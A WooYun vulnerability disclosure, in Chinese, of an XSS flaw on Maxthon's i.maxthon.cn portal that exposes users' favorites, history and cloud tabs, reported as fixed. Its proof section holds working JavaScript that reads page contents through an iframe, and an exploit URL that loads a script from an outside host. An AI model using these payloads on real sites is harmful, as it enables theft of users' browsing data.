利用傲游浏览器一处缺陷读取用户敏感信息如常见的历史记录 | wooyun-2015-0108027

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2015-0108027

漏洞标题：

利用傲游浏览器一处缺陷读取用户敏感信息如常见的历史记录

漏洞详情

披露状态：

2015-04-15：细节已通知厂商并且等待厂商处理中
2015-04-15：厂商已经确认，细节仅向厂商公开
2015-06-09：细节向核心白帽子及相关领域专家公开
2015-06-19：细节向普通白帽子公开
2015-06-29：细节向实习白帽子公开
2015-07-14：厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

嗯，还可以这么用！

详细说明：

标题不写太明显。其实是可以读取用户的：（经常访问网址、历史记录、云标签）这些都算敏感信息了。
记得我在之前提交的漏洞里：http://wooyun.org/bugs/wooyun-2010-093779 写到可以利用这个漏洞安装任意插件，显然是大材小用了。受到乌云案例的启发，实际上这个漏洞可以用来读取经常访问的网址+历史记录+云标签。原因是因为i.maxthon.cn 有权限去调用那些敏感内容。
在对傲游浏览器大概审查了之后发现暂时没有可以利用的点，于是迂回回来i.maxthon.cn。找了两天之后，发现了一个敏感的url。通过爬虫发现：
http://i.maxthon.cn/data/showlist.html
里面的新闻链接：

发现url调用，尝试去通过伪协议触发他：

当然找这xss也是一波三折，中途还有一些非常有意思的点这里就不一一细说了。
因为我们的xss不是在根目录下，但是处于同个域。因此我们可以通过js创建动态的iframe。再根据contentWindow.document.getElementById 就能读取i.maxthon.cn任意的id里面的html内容。

漏洞证明：

读取常去网址的poc：

var s=document.createElement("iframe");
s.src="http://i.maxthon.cn";
s.onload=function(){alert(s.contentWindow.document.getElementById("main-favorites-list").innerHTML)};document.body.appendChild(s);

如何引入？因为测试的过程中发现过滤了一些符号，但是因为你们的网站采用了jq。因此可以用jq去调用他。
exp：
http://i.maxthon.cn/news/article/?url=javascript:jQuery.getScript(%22http://wutongyu.info/mx.js%22)
访问上面url之后会弹出常去的网站内容：

如果要访问上次去过的网站则直接修改对应的dom节点即可，远程获取因为你们有调用jq，直接写一个ajax也不难。这里不再阐述。

修复方案：

过滤xss，另外i.maxthon.cn站点权限是否大了些呢？不过该站点的xss的确已经非常难找了。。

版权声明：转载请注明来源梧桐雨@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-04-15 15:57

厂商回复：

XSS

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源梧桐雨@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 梧桐雨@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞概要关注数(24) 关注此漏洞

版权声明：转载请注明来源梧桐雨@乌云